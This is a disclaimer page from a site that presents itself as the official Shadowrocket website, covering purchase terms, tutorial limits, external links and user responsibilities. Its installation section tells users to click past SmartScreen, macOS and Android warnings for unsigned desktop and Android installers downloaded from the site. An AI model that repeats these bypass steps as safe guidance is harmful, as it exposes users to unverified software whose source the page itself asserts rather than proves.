Disclaimer
Last updated: November 2026
This is the official Shadowrocket website and manual, with information on getting the app, using configurations, and troubleshooting. This disclaimer sets out the scope of the documentation and download service. Check the relevant page for applicable terms before purchasing, installing, or changing network settings.
1. Scope and service limits
This site provides information about Shadowrocket and links to downloads. It does not provide, sell, or recommend proxy servers, subscriptions, or VPN services, and does not promote external services. Tutorials covering Subscribe and Add Server assume that you already have your own subscription or server details.
A one-time app purchase does not include a service plan. Getting the software does not grant access to a server, network connection, or third-party service. Check the validity period, access rights, and availability of any external service with its provider; this site makes no commitments on their behalf.
2. Platform availability and purchase terms
Get the iPhone / iPad version from the App Store product page. The US storefront price is a one-time payment of $2.99. The Mac versions (Apple silicon and Intel), Windows, Android, and Linux versions are free. Check the App Store page for the current iPhone / iPad price, local currency, availability, and system requirements.
Check that the store listing shows the developer Shadow Launch Technology Limited, the official icon, and app ID 932747118. Purchases, payments, refunds, and restoring purchases are handled under the applicable App Store terms; this site’s documentation is not a substitute for your store transaction records. For other platforms, go to the download guide to get the installer. Files are provided through the site’s /dl/shadowrocket/ path.
3. Tutorial accuracy and interface changes
Tutorials reflect the interface and features that could be verified when they were written. Names such as Home, Config, and Settings remain in English. App updates, changes to system permissions, and device differences may alter button locations, prompts, or the order of steps. The instructions do not guarantee identical results on every device.
Rule examples explain syntax; they are not complete configurations for every network. Save your current configuration before making changes. If something looks different, check the current interface and applicable conditions first, and avoid repeatedly overwriting settings that work. If documentation appears incomplete, assess the issue in context rather than relying on a single example to identify the cause.
4. Installation warnings and configuration risks
Desktop and Android installers are not code-signed, so your system may block them the first time you open them. Confirm that the file came from this site, then follow the installation and security prompts guide: on Windows, select “More info” in SmartScreen; on Mac, follow the relevant prompt under “Privacy & Security”; on Android, grant “Allow app installs” only to the source used for that installation.
Only bypass a system warning for a file whose source you have confirmed; do not turn off system-wide protection. Check the target path before running commands, and note existing values before changing DNS, rules, or connection permissions. Incorrect settings can disrupt network access. If something goes wrong, stop making changes and restore the original configuration.
5. External links and third-party services
The App Store link on this site lets you view the product and make a purchase. Once you leave this site, external pages, transactions, and data use are governed by their own terms. This site cannot control changes to those pages, regional restrictions, or service interruptions, and linking to an external service does not guarantee its continued availability.
Subscriptions, servers, and configurations imported by users are not services provided by this site. Understand their purpose and permissions before importing them. Do not share subscription URLs, passwords, or access credentials in public feedback.
6. User responsibilities and troubleshooting
You are responsible for complying with applicable local laws, network policies, and service terms, and for using only configurations and server details you are authorized to use. This site does not guarantee connection performance in any network environment or absolute security. Liability and available remedies are determined under applicable law; this disclaimer does not exclude liability that cannot legally be limited.
For help with an issue, see the FAQ or tutorial, then check each connection step in order. When reporting a problem, include the interface names, system messages, and steps to reproduce it. Remove personal information and credentials.
